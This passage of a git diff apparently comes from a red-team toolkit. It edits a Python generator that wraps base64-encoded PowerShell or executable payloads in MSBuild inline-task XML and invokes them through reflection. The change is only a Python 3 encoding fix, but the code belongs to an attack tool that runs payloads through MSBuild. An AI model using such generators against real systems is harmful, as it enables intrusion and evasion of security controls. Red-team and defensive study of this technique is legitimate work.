$VM_NAME machine within the network." + return 1 +} + +setup_aliases diff --git a/red-teaming/generateMSBuildPowershellXML.py b/red-teaming/generateMSBuildPowershellXML.py index df85512..ae21a0d 100644 --- a/red-teaming/generateMSBuildPowershellXML.py +++ b/red-teaming/generateMSBuildPowershellXML.py @@ -76,7 +76,7 @@ def getInlineTask(payload, exeFile): ]]> ''').safe_substitute( templateName = templateName, - payload2 = base64.b64encode(payload) + payload2 = base64.b64encode(payload.encode()).decode() ) exeLaunchCode = string.Template(''' @@ -95,7 +95,7 @@ def getInlineTask(payload, exeFile): method.Invoke(instance, null); ]]> ''').safe_substitute( - payload2 = base64.b64encode(payload) + payload2 = base64.b64encode(payload.encode()).decode() ) launchCode = exeLaunchCode if exeFile else powershellLaunchCode